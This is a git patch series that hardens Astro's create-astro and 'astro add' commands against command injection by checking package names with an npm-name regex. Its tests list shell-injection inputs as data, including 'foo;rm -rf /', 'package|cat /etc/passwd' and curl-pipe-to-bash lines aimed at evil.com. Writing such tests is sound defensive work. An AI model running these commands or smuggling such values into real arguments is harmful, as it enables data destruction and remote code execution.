From ab35ff76e27cd1278f9a2640217c17e8372a5ed3 Mon Sep 17 00:00:00 2001 From: ematipico Date: Thu, 5 Feb 2026 15:19:45 +0000 Subject: [PATCH 1/4] fix(create-astro): make --add stricter --- .changeset/public-lemons-mate.md | 5 +++ packages/create-astro/src/actions/context.ts | 32 ++++++++++++- .../create-astro/src/actions/dependencies.ts | 14 +++++- .../create-astro/test/dependencies.test.js | 45 ++++++++++++++++++- 4 files changed, 91 insertions(+), 5 deletions(-) create mode 100644 .changeset/public-lemons-mate.md diff --git a/.changeset/public-lemons-mate.md b/.changeset/public-lemons-mate.md new file mode 100644 index 000000000000..92bfc40d8204 --- /dev/null +++ b/.changeset/public-lemons-mate.md @@ -0,0 +1,5 @@ +--- +'create-astro': patch +--- + +Fixes an issue where `--add` could accept any kind of string, leading to different errors. Now `--add` accepts only values of valid integrations and adapters. diff --git a/packages/create-astro/src/actions/context.ts b/packages/create-astro/src/actions/context.ts index 6a4867e4f184..a013665e0b8d 100644 --- a/packages/create-astro/src/actions/context.ts +++ b/packages/create-astro/src/actions/context.ts @@ -6,6 +6,34 @@ import arg from 'arg'; import getSeasonalData from '../data/seasonal.js'; import { getName, getVersion } from '../messages.js'; +export const KNOWN_LIBS = [ + // UI Framework Integrations + 'react', + 'preact', + 'solid', + 'svelte', + 'vue', + 'alpinejs', + + // Adapter Integrations + 'cloudflare', + 'deno', + 'netlify', + 'node', + 'vercel', + + // Other Official Integrations + 'db', + 'markdoc', + 'mdx', + 'partytown', + 'sitemap', + 'tailwind', + 'lit', +] as const; + +export type KnownLibs = (typeof KNOWN_LIBS)[number]; + export interface Context { help: boolean; prompt: typeof prompt; @@ -15,7 +43,7 @@ export interface Context { version: Promise; skipHouston: boolean; fancy?: boolean; - add?: string[]; + add?: KnownLibs[]; dryRun?: boolean; yes?: boolean; projectName?: string; @@ -126,7 +154,7 @@ export async function getContext(argv: string[]): Promise { ), skipHouston, fancy, - add, + add: add as unknown as KnownLibs[], dryRun, projectName, template, diff --git a/packages/create-astro/src/actions/dependencies.ts b/packages/create-astro/src/actions/dependencies.ts index 163108e729eb..3c56073a29ce 100644 --- a/packages/create-astro/src/actions/dependencies.ts +++ b/packages/create-astro/src/actions/dependencies.ts @@ -3,7 +3,7 @@ import path from 'node:path'; import { color } from '@astrojs/cli-kit'; import { error, info, title } from '../messages.js'; import { shell } from '../shell.js'; -import type { Context } from './context.js'; +import { type Context, KNOWN_LIBS, type KnownLibs } from './context.js'; export async function dependencies( ctx: Pick< @@ -23,8 +23,18 @@ export async function dependencies( })); ctx.install = deps; } + ctx.add = ctx.add?.reduce( + (acc, item) => acc.concat(item.split(',') as KnownLibs[]), + [], + ); - ctx.add = ctx.add?.reduce((acc, item) => acc.concat(item.split(',')), []); + if (ctx.add) { + for (const addValue of ctx.add) { + if (!KNOWN_LIBS.includes(addValue)) { + throw new Error(`The integration ${addValue} isn't supported.`); + } + } + } if (ctx.dryRun) { await info( diff --git a/packages/create-astro/test/dependencies.test.js b/packages/create-astro/test/dependencies.test.js index 2f1317157c71..aac9927fa83b 100644 --- a/packages/create-astro/test/dependencies.test.js +++ b/packages/create-astro/test/dependencies.test.js @@ -1,6 +1,7 @@ import assert from 'node:assert/strict'; import { describe, it } from 'node:test'; import { dependencies } from '../dist/index.js'; +import { KNOWN_LIBS } from '../dist/actions/context.js'; import { setup } from './utils.js'; describe('dependencies', () => { @@ -38,7 +39,6 @@ describe('dependencies', () => { it('prompt no', async () => { const context = { cwd: '', - install: true, packageManager: 'npm', dryRun: true, prompt: () => ({ deps: false }), @@ -78,4 +78,47 @@ describe('dependencies', () => { assert.ok(fixture.hasMessage('Skipping dependency installation')); assert.equal(context.install, false); }); + + describe('--add', async () => { + it('fails for non-supported integration', async () => { + let context = { + cwd: '', + add: ['foo'], + dryRun: true, + prompt: () => ({ deps: false }), + }; + + try { + await dependencies(context); + assert.fail('The function should throw an error'); + } catch (error) { + assert.equal(error.message, "The integration foo isn't supported."); + } + context = { + cwd: '', + add: ['react', 'bar'], + dryRun: true, + prompt: () => ({ deps: false }), + }; + + try { + await dependencies(context); + assert.fail('The function should throw an error'); + } catch (error) { + assert.equal(error.message, "The integration bar isn't supported."); + } + }); + + it(`supports all known integrations`, async () => { + const context = { + cwd: '', + add: KNOWN_LIBS, + dryRun: true, + prompt: () => ({ deps: false }), + }; + + await dependencies(context); + assert.ok('It should not fail'); + }); + }); }); From fff411321d2ce67c94445581e15dda1bd59a04c8 Mon Sep 17 00:00:00 2001 From: ematipico Date: Fri, 6 Feb 2026 14:12:24 +0000 Subject: [PATCH 2/4] loosen up solution --- packages/create-astro/src/actions/context.ts | 32 ++----------------- .../create-astro/src/actions/dependencies.ts | 14 ++++---- .../create-astro/test/dependencies.test.js | 27 ++++++---------- 3 files changed, 19 insertions(+), 54 deletions(-) diff --git a/packages/create-astro/src/actions/context.ts b/packages/create-astro/src/actions/context.ts index a013665e0b8d..6a4867e4f184 100644 --- a/packages/create-astro/src/actions/context.ts +++ b/packages/create-astro/src/actions/context.ts @@ -6,34 +6,6 @@ import arg from 'arg'; import getSeasonalData from '../data/seasonal.js'; import { getName, getVersion } from '../messages.js'; -export const KNOWN_LIBS = [ - // UI Framework Integrations - 'react', - 'preact', - 'solid', - 'svelte', - 'vue', - 'alpinejs', - - // Adapter Integrations - 'cloudflare', - 'deno', - 'netlify', - 'node', - 'vercel', - - // Other Official Integrations - 'db', - 'markdoc', - 'mdx', - 'partytown', - 'sitemap', - 'tailwind', - 'lit', -] as const; - -export type KnownLibs = (typeof KNOWN_LIBS)[number]; - export interface Context { help: boolean; prompt: typeof prompt; @@ -43,7 +15,7 @@ export interface Context { version: Promise; skipHouston: boolean; fancy?: boolean; - add?: KnownLibs[]; + add?: string[]; dryRun?: boolean; yes?: boolean; projectName?: string; @@ -154,7 +126,7 @@ export async function getContext(argv: string[]): Promise { ), skipHouston, fancy, - add: add as unknown as KnownLibs[], + add, dryRun, projectName, template, diff --git a/packages/create-astro/src/actions/dependencies.ts b/packages/create-astro/src/actions/dependencies.ts index 3c56073a29ce..5972159bf671 100644 --- a/packages/create-astro/src/actions/dependencies.ts +++ b/packages/create-astro/src/actions/dependencies.ts @@ -3,7 +3,7 @@ import path from 'node:path'; import { color } from '@astrojs/cli-kit'; import { error, info, title } from '../messages.js'; import { shell } from '../shell.js'; -import { type Context, KNOWN_LIBS, type KnownLibs } from './context.js'; +import type { Context } from './context.js'; export async function dependencies( ctx: Pick< @@ -23,15 +23,15 @@ export async function dependencies( })); ctx.install = deps; } - ctx.add = ctx.add?.reduce( - (acc, item) => acc.concat(item.split(',') as KnownLibs[]), - [], - ); + ctx.add = ctx.add?.reduce((acc, item) => acc.concat(item.split(',')), []); if (ctx.add) { for (const addValue of ctx.add) { - if (!KNOWN_LIBS.includes(addValue)) { - throw new Error(`The integration ${addValue} isn't supported.`); + // This is a very KISS heuristics. Generally users provide packages, which don't have spaces. + // If something has a space, it's possibly a typo or something more (e.g. a shell command). + // In this case, we bail + if (addValue.includes(' ')) { + throw new Error(`The integration "${addValue}" isn't supported. Check if there is typo.`); } } } diff --git a/packages/create-astro/test/dependencies.test.js b/packages/create-astro/test/dependencies.test.js index aac9927fa83b..c857c322fae2 100644 --- a/packages/create-astro/test/dependencies.test.js +++ b/packages/create-astro/test/dependencies.test.js @@ -1,7 +1,6 @@ import assert from 'node:assert/strict'; import { describe, it } from 'node:test'; import { dependencies } from '../dist/index.js'; -import { KNOWN_LIBS } from '../dist/actions/context.js'; import { setup } from './utils.js'; describe('dependencies', () => { @@ -83,7 +82,7 @@ describe('dependencies', () => { it('fails for non-supported integration', async () => { let context = { cwd: '', - add: ['foo'], + add: ['foo '], dryRun: true, prompt: () => ({ deps: false }), }; @@ -92,11 +91,14 @@ describe('dependencies', () => { await dependencies(context); assert.fail('The function should throw an error'); } catch (error) { - assert.equal(error.message, "The integration foo isn't supported."); + assert.equal( + error.message, + `The integration "foo " isn't supported. Check if there is typo.`, + ); } context = { cwd: '', - add: ['react', 'bar'], + add: ['react', 'bar lorem'], dryRun: true, prompt: () => ({ deps: false }), }; @@ -105,20 +107,11 @@ describe('dependencies', () => { await dependencies(context); assert.fail('The function should throw an error'); } catch (error) { - assert.equal(error.message, "The integration bar isn't supported."); + assert.equal( + error.message, + `The integration "bar lorem" isn't supported. Check if there is typo.`, + ); } }); - - it(`supports all known integrations`, async () => { - const context = { - cwd: '', - add: KNOWN_LIBS, - dryRun: true, - prompt: () => ({ deps: false }), - }; - - await dependencies(context); - assert.ok('It should not fail'); - }); }); }); From c9499a12e921f9f7a02a2b7e4b67f89bf1d3b5b9 Mon Sep 17 00:00:00 2001 From: ematipico Date: Fri, 6 Feb 2026 16:07:06 +0000 Subject: [PATCH 3/4] better testing and defense --- .changeset/quiet-cars-burn.md | 7 + .changeset/tender-bats-tan.md | 5 + packages/astro/src/cli/add/index.ts | 6 + packages/create-astro/package.json | 1 + .../create-astro/src/actions/dependencies.ts | 23 +- packages/create-astro/src/shell.ts | 4 +- .../create-astro/test/dependencies.test.js | 12 +- .../create-astro/test/integrations.test.js | 132 ++++++++++++ .../test/package-name-validation.test.js | 198 ++++++++++++++++++ packages/internal-helpers/package.json | 6 +- packages/internal-helpers/src/cli.ts | 49 +++++ pnpm-lock.yaml | 3 + 12 files changed, 426 insertions(+), 20 deletions(-) create mode 100644 .changeset/quiet-cars-burn.md create mode 100644 .changeset/tender-bats-tan.md create mode 100644 packages/create-astro/test/package-name-validation.test.js create mode 100644 packages/internal-helpers/src/cli.ts diff --git a/.changeset/quiet-cars-burn.md b/.changeset/quiet-cars-burn.md new file mode 100644 index 000000000000..855d45b46061 --- /dev/null +++ b/.changeset/quiet-cars-burn.md @@ -0,0 +1,7 @@ +--- +'create-astro': patch +'astro': patch +--- + +Fixes an issue where the `add` command could accept any arbitrary value, leading the possible command injections. Now `add` and `--add` accepts +values that are only acceptable npmjs.org names. diff --git a/.changeset/tender-bats-tan.md b/.changeset/tender-bats-tan.md new file mode 100644 index 000000000000..e11976d27a29 --- /dev/null +++ b/.changeset/tender-bats-tan.md @@ -0,0 +1,5 @@ +--- +'@astrojs/internal-helpers': minor +--- + +Adds a new `/cli` specifier and the utility `NPM_PACKAGE_NAME_REGEX`. diff --git a/packages/astro/src/cli/add/index.ts b/packages/astro/src/cli/add/index.ts index 44004143d33a..001ed0e1d5e8 100644 --- a/packages/astro/src/cli/add/index.ts +++ b/packages/astro/src/cli/add/index.ts @@ -2,6 +2,7 @@ import fsMod, { existsSync, promises as fs } from 'node:fs'; import { createRequire } from 'node:module'; import path from 'node:path'; import { fileURLToPath, pathToFileURL } from 'node:url'; +import { assertValidPackageName } from '@astrojs/internal-helpers/cli'; import boxen from 'boxen'; import { diffWords } from 'diff'; import { type ASTNode, builders, generateCode, loadFile, type ProxifiedModule } from 'magicast'; @@ -901,6 +902,11 @@ async function validateIntegrations( flags: yargsParser.Arguments, logger: Logger, ): Promise { + // First, validate all package names to prevent command injection + for (const integration of integrations) { + assertValidPackageName(integration); + } + const spinner = yoctoSpinner({ text: 'Resolving packages...' }).start(); try { const integrationEntries = await Promise.all( diff --git a/packages/create-astro/package.json b/packages/create-astro/package.json index ec59aeb8bba7..410aca42c82f 100644 --- a/packages/create-astro/package.json +++ b/packages/create-astro/package.json @@ -35,6 +35,7 @@ "@bluwy/giget-core": "^0.1.6" }, "devDependencies": { + "@astrojs/internal-helpers": "workspace:*", "arg": "^5.0.2", "astro-scripts": "workspace:*" }, diff --git a/packages/create-astro/src/actions/dependencies.ts b/packages/create-astro/src/actions/dependencies.ts index 5972159bf671..01aa36879450 100644 --- a/packages/create-astro/src/actions/dependencies.ts +++ b/packages/create-astro/src/actions/dependencies.ts @@ -1,5 +1,6 @@ import fs from 'node:fs'; import path from 'node:path'; +import { assertValidPackageName } from '@astrojs/internal-helpers/cli'; import { color } from '@astrojs/cli-kit'; import { error, info, title } from '../messages.js'; import { shell } from '../shell.js'; @@ -27,12 +28,8 @@ export async function dependencies( if (ctx.add) { for (const addValue of ctx.add) { - // This is a very KISS heuristics. Generally users provide packages, which don't have spaces. - // If something has a space, it's possibly a typo or something more (e.g. a shell command). - // In this case, we bail - if (addValue.includes(' ')) { - throw new Error(`The integration "${addValue}" isn't supported. Check if there is typo.`); - } + // Validate package name to prevent command injection attacks + assertValidPackageName(addValue); } } @@ -96,11 +93,15 @@ async function astroAdd({ cwd: string; }) { if (packageManager === 'yarn') await ensureYarnLock({ cwd }); - return shell( - packageManager === 'npm' ? 'npx' : `${packageManager} dlx`, - ['astro add', integrations.join(' '), '-y'], - { cwd, timeout: 90_000, stdio: 'ignore' }, - ); + + // Build command and args properly for spawn without shell interpretation + const command = packageManager === 'npm' ? 'npx' : packageManager; + const args = + packageManager === 'npm' + ? ['astro', 'add', ...integrations, '-y'] + : ['dlx', 'astro', 'add', ...integrations, '-y']; + + return shell(command, args, { cwd, timeout: 90_000, stdio: 'ignore' }); } async function install({ packageManager, cwd }: { packageManager: string; cwd: string }) { diff --git a/packages/create-astro/src/shell.ts b/packages/create-astro/src/shell.ts index ada0998e921e..7317c86a58db 100644 --- a/packages/create-astro/src/shell.ts +++ b/packages/create-astro/src/shell.ts @@ -27,9 +27,9 @@ export async function shell( let stdout = ''; let stderr = ''; try { - child = spawn(`${command} ${flags.join(' ')}`, { + child = spawn(command, flags, { cwd: opts.cwd, - shell: true, + shell: false, stdio: opts.stdio, timeout: opts.timeout, }); diff --git a/packages/create-astro/test/dependencies.test.js b/packages/create-astro/test/dependencies.test.js index c857c322fae2..b0367fe4ae3d 100644 --- a/packages/create-astro/test/dependencies.test.js +++ b/packages/create-astro/test/dependencies.test.js @@ -91,9 +91,9 @@ describe('dependencies', () => { await dependencies(context); assert.fail('The function should throw an error'); } catch (error) { - assert.equal( - error.message, - `The integration "foo " isn't supported. Check if there is typo.`, + assert.ok( + error.message.includes('Invalid package name "foo "'), + `Expected error about invalid package name, got: ${error.message}`, ); } context = { @@ -107,9 +107,9 @@ describe('dependencies', () => { await dependencies(context); assert.fail('The function should throw an error'); } catch (error) { - assert.equal( - error.message, - `The integration "bar lorem" isn't supported. Check if there is typo.`, + assert.ok( + error.message.includes('Invalid package name "bar lorem"'), + `Expected error about invalid package name, got: ${error.message}`, ); } }); diff --git a/packages/create-astro/test/integrations.test.js b/packages/create-astro/test/integrations.test.js index da254134a34a..4db46965ea65 100644 --- a/packages/create-astro/test/integrations.test.js +++ b/packages/create-astro/test/integrations.test.js @@ -62,4 +62,136 @@ describe('integrations', () => { await dependencies(context); assert.ok(fixture.hasMessage('--dry-run Skipping dependency installation')); }); + + describe('Security: Command injection protection', () => { + it('blocks semicolon command injection', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react;whoami'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject command injection with semicolon', + ); + }); + + it('blocks command substitution with $()', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react$(whoami)'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject command substitution with $()', + ); + }); + + it('blocks command substitution with backticks', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react`whoami`'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject command substitution with backticks', + ); + }); + + it('blocks pipe operators', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react|whoami'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject pipe operator injection', + ); + }); + + it('blocks ampersand operators', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react&&whoami'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject ampersand operator injection', + ); + }); + + it('blocks redirect operators', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['react>file'], + }; + + await assert.rejects( + () => dependencies(context), + /Invalid package name/, + 'Should reject redirect operator injection', + ); + }); + + it('allows scoped packages', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['@astrojs/tailwind'], + }; + + await dependencies(context); + assert.ok( + fixture.hasMessage( + '--dry-run Skipping dependency installation and adding @astrojs/tailwind', + ), + ); + }); + + it('allows valid package names', async () => { + const context = { + cwd: '', + yes: true, + packageManager: 'npm', + dryRun: true, + add: ['my-package', 'package_2.0'], + }; + + await dependencies(context); + assert.ok( + fixture.hasMessage( + '--dry-run Skipping dependency installation and adding my-package, package_2.0', + ), + ); + }); + }); }); diff --git a/packages/create-astro/test/package-name-validation.test.js b/packages/create-astro/test/package-name-validation.test.js new file mode 100644 index 000000000000..901618313b3e --- /dev/null +++ b/packages/create-astro/test/package-name-validation.test.js @@ -0,0 +1,198 @@ +import assert from 'node:assert/strict'; +import { describe, it } from 'node:test'; +import { NPM_PACKAGE_NAME_REGEX } from '@astrojs/internal-helpers/cli'; + +describe('NPM Package Name Validation', () => { + describe('Valid package names', () => { + it('accepts simple lowercase names', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('react')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('vue')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('svelte')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('solid')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('preact')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('alpinejs')); + }); + + it('accepts names with hyphens', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('my-package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('some-cool-integration')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('astro-integration')); + }); + + it('accepts names with underscores', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('my_package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('some_integration')); + }); + + it('accepts names with dots', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('my.package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('package.js')); + }); + + it('accepts names with mixed valid characters', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('my-package.js')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('some_cool-package.js')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('integration-2.0')); + }); + + it('accepts names with numbers', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('package2')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('3d-viewer')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('v8')); + }); + + it('accepts scoped packages', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@astrojs/tailwind')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@astrojs/react')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@myorg/my-package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@company/integration')); + }); + + it('accepts scoped packages with complex names', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/my-package.js')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/package_with_underscores')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/package-2.0')); + }); + + it('accepts packages with tilde', () => { + assert.ok(NPM_PACKAGE_NAME_REGEX.test('~package')); + assert.ok(NPM_PACKAGE_NAME_REGEX.test('@org/~package')); + }); + }); + + describe('Invalid package names', () => { + it('rejects names with spaces', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('my package')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('foo bar')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react ')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test(' react')); + }); + + it('rejects names with uppercase letters', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('React')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('MyPackage')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('PACKAGE')); + }); + + it('rejects empty strings', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('')); + }); + + it('rejects names starting with dots', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('.package')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('..package')); + }); + + it('rejects names starting with underscores', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('_package')); + }); + }); + + describe('Security: Command injection attempts', () => { + it('blocks semicolon command injection', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react;whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package;ls')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('foo;rm -rf /')); + }); + + it('blocks command substitution with $()', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react$(whoami)')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('$(ls)')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package$(id)')); + }); + + it('blocks command substitution with backticks', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react`whoami`')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('`ls`')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package`id`')); + }); + + it('blocks pipe operators', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react|whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package|cat /etc/passwd')); + }); + + it('blocks ampersand operators', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react&&whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react&whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package||ls')); + }); + + it('blocks redirect operators', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react>file')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package>>file')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react\nwhoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package\r\nls')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package\twhoami')); + }); + + it('blocks quotes and escapes', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test("react'whoami'")); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react"whoami"')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react\\whoami')); + }); + + it('blocks parentheses without $', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react(whoami)')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package()')); + }); + + it('blocks curly braces', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react{whoami}')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('{package}')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('{ whoami }')); + }); + + it('blocks asterisks and wildcards', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react*')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('*package')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package?')); + }); + + it('blocks square brackets', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react[whoami]')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('[package]')); + }); + + it('blocks hash/comment characters', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react#whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('#package')); + }); + + it('blocks dollar signs not in command substitution', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react$var')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('$package')); + }); + + it('blocks exclamation marks', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react!')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('!whoami')); + }); + + it('blocks equals signs', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react=1.0')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package=value')); + }); + + it('blocks percent signs', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react%whoami')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('%package')); + }); + + it('blocks plus signs (except at start)', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react+plus')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package+')); + }); + + it('blocks complex injection attempts', () => { + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('react && curl evil.com | sh')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('package; wget malware; chmod +x malware; ./malware')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('`curl http://evil.com/script.sh | bash`')); + assert.ok(!NPM_PACKAGE_NAME_REGEX.test('$(curl -s http://malicious.com/payload.sh|bash)')); + }); + }); +}); diff --git a/packages/internal-helpers/package.json b/packages/internal-helpers/package.json index ea91d947de08..7ef5026f7feb 100644 --- a/packages/internal-helpers/package.json +++ b/packages/internal-helpers/package.json @@ -14,7 +14,8 @@ "exports": { "./path": "./dist/path.js", "./remote": "./dist/remote.js", - "./fs": "./dist/fs.js" + "./fs": "./dist/fs.js", + "./cli": "./dist/cli.js" }, "typesVersions": { "*": { @@ -26,6 +27,9 @@ ], "fs": [ "./dist/fs.d.ts" + ], + "cli": [ + "./dist/cli.d.ts" ] } }, diff --git a/packages/internal-helpers/src/cli.ts b/packages/internal-helpers/src/cli.ts new file mode 100644 index 000000000000..09889d96e168 --- /dev/null +++ b/packages/internal-helpers/src/cli.ts @@ -0,0 +1,49 @@ +/** + * Validates npm package names to prevent command injection attacks in CLI tools. + * + * This regex follows npm naming rules and blocks shell metacharacters that could + * be used for command injection attacks. + * + * @see https://docs.npmjs.com/cli/v10/configuring-npm/package-json#name + */ +export const NPM_PACKAGE_NAME_REGEX = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/; + +/** + * Validates a package name for use in CLI commands. + * + * @param packageName - The package name to validate + * @returns true if the package name is valid, false otherwise + * + * @example + * ```ts + * validatePackageName('react'); // true + * validatePackageName('@astrojs/tailwind'); // true + * validatePackageName('react; whoami'); // false + * validatePackageName('react$(whoami)'); // false + * ``` + */ +export function validatePackageName(packageName: string): boolean { + return NPM_PACKAGE_NAME_REGEX.test(packageName); +} + +/** + * Validates a package name and throws an error if invalid. + * + * @param packageName - The package name to validate + * @throws {Error} If the package name is invalid + * + * @example + * ```ts + * assertValidPackageName('react'); // OK + * assertValidPackageName('react; whoami'); // throws Error + * ``` + */ +export function assertValidPackageName(packageName: string): asserts packageName is string { + if (!validatePackageName(packageName)) { + throw new Error( + `Invalid package name "${packageName}". Package names must follow npm naming rules: ` + + `lowercase letters, numbers, hyphens, underscores, and dots. ` + + `Scoped packages like @org/package are also supported.`, + ); + } +} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index be6d85184117..f8e0e8a052d3 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -4645,6 +4645,9 @@ importers: specifier: ^0.1.6 version: 0.1.6 devDependencies: + '@astrojs/internal-helpers': + specifier: workspace:* + version: link:../internal-helpers arg: specifier: ^5.0.2 version: 5.0.2 From afe850320c913a0e00e5849e5e7b270558a88c47 Mon Sep 17 00:00:00 2001 From: ematipico Date: Mon, 9 Feb 2026 09:34:54 +0000 Subject: [PATCH 4/4] check if this code fixes windows --- packages/create-astro/src/shell.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/create-astro/src/shell.ts b/packages/create-astro/src/shell.ts index 7317c86a58db..9d49d197f5fd 100644 --- a/packages/create-astro/src/shell.ts +++ b/packages/create-astro/src/shell.ts @@ -29,7 +29,7 @@ export async function shell( try { child = spawn(command, flags, { cwd: opts.cwd, - shell: false, + shell: true, stdio: opts.stdio, timeout: opts.timeout, });